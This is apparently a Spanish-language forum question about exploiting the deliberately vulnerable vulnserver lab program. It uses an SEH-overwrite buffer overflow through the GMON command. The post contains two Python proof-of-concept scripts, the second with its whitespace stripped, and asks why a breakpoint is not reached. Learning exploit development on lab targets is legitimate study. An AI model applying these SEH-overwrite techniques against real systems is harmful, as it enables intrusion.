He descargado vulnserver y quiero explotarlo usando SEH. Logré sobrescribir SE Handler con éxito, aquí está el código que estoy usando para explotar este programa:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.15',9999))
payload = 'GMON /'
payload += 'A' * (3518)
payload += 'B'*4 # pointer to next SEH record
payload += 'C'*4 # SEH overwrite
payload += 'D'*(5000-len(payload))
s.send(payload)
s.recv(1024)
s.close()
Los registros se ven así:
Y aquí está la pila:
Después de eso, ejecuto !mona seh para encontrar una dll adecuada para usar, y elegí la primera.

Micargaútilahoraseveasí
importsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.0.15',9999))payload='GMON/'payload+='A'*(3518)payload+='\xcc'*4#payloadtonextSEHrecordpayload+='\xb4\x10\x50\x62'#SEHoverwritepayload+='D'*(5000-len(payload))s.send(payload)s.recv(1024)s.close()Despuésdeejecutarlo,esteeselaspectodelapilaylosregistros:
¿Por qué no llega al punto de interrupción?
Estoy trabajando en Windows 7.